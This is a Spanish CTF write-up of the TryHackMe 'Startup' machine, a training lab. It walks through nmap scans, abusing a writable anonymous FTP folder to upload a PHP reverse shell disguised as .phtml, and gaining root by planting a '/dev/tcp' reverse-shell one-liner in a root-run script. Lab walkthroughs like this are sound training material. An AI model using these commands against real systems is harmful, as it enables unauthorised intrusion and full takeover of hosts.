Startup
January 20, 20234 minutes
https://tryhackme.com/room/startup
IP Atacante = 10.10.10.10
IP Víctima = 10.10.76.5
Reconocimiento
Para empezar lo primero es comprobar si la máquina está activa y que OS tiene
> ping -c 1 10.10.76.5
PING 10.10.76.5 (10.10.76.5) 56(84) bytes of data.
64 bytes from 10.10.76.5: icmp_seq=1 ttl=63 time=116 ms
--- 10.10.76.5 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 116.037/116.037/116.037/0.000 ms
En este caso da un ttl (time to live) de 63, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux por aproximación
Escaneo de puertos (nmap)
Ahora empezamos con un escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn 10.10.76.5 -oG allPorts
Parámetro | Función |
---|---|
-p- | Para que el escaneo sea a todos los puertos (65536) |
–open | Para que solo reporte los puertos abiertos |
-sS –min-rate 5000 | Definir el tiempo del escaneo |
-n | Omitir resolución DNS |
-vvv | Para que vaya reportando lo que encuentre por consola |
-Pn | Skip host discovery |
-oG allPorts | Para que guarde el escaneo en format grepeable en un archivo llamado allPort |
Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual
Función extractPorts de @s4vitar
❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.76.5
5 │ [*] Open ports: 21,22,80
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴─────────────────────────────────────────────────────────────────────────────────────────
Ahora con nmap vamos a intentar buscar las versiones de los servicios de los puertos y ejecutar scripts básicos de reconocimientos
❯ nmap -p22,80 -sC -sV 10.10.76.5
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxrwxrwx 2 65534 65534 4096 Nov 12 2020 ftp [NSE: writeable]
| -rw-r--r-- 1 0 0 251631 Nov 12 2020 important.jpg
|_-rw-r--r-- 1 0 0 208 Nov 12 2020 notice.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.18.108.198
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b9a60b841d2201a401304843612bab94 (RSA)
| 256 ec13258c182036e6ce90e1626eba2be (ECDSA)
|_ 256 a2ff2a7281aaa29f55a4dc9223e6b43f (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Maintenance
Puerto 21 (ftp)
El nmap ha reportado que nos podemos conectar por ftp como anonymous. Dentro del ftp hay tres archivos: .test_log
, important.jpg
y notice.txt
, también hay un directorio llamado ftp
en el cual tenemos permisos de escritura.
Nos pasamos los tres archivos con get "archivo"
para analizarlos desde nuestra máquina. Ningún archivo contienen información relevante
Puerto 80 (http)
Subdirectorios
Empezamos con un escaneo de subdirectorios, vamos a usar dirb
dirb 10.10.76.5
Nos encuentra el subdirectorio files
. Dentro de files vemos que hay los mismos archivos que en el ftp, teniendo en cuenta que en el ftp había una carpeta en la cual podíamos subir archivos, podemos probar de subir una reverse shell con php para después ejecutarla desde la web.
Intrusión
Nos bajamos el .php
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
Es importante cambiar las líneas de ip y puerto.
Como normalmente la extensión .php está bloqueada, lo vamos a cambiar a .phtml
Ahora ya nos podemos volver a conectar por ftp y dentro de la carpeta ftp subir el .phtml con put
Por último nos ponemos en escucha por el puerto 443 y desde la web ejecutamos el archivo. Ya tenemos la reverse shell
Tratamiento de tty
Antes para trabajar mejor vamos a hacer un tratamiento de la terminal con los siguientes comandos:
script /dev/null -c bash
ctrl + z
stty raw -echo; fg
reset
xterm
export SHELL=bash
export TERM=xterm
Escalda de privilegios
Lennie
En /incidents
vemos un archivo el cual parece que contiene un historial de los comandos que se han ejecutado, buscando un poco vemos un sitio donde salen unas credenciales…
Root
Con la herramienta pspy podemos ver como se ejecuta automáticamente como root el archivo /home/lennie/scripts/planner.sh.
No tenemos permisos de escritura para este archivo, pero ese archivo ejecuta otro archivo: /etc/printf.sh
, en este sí que tenemos permisos de escritura.
Dentro vamos a poner bash -c "bash -i >& /dev/tcp/10.10.10.10/442 0>&1"
y nos vamos a poner en escucha por el puerto 442.
¡Recibimos la conexión y YA SOMOS ROOT!!!!!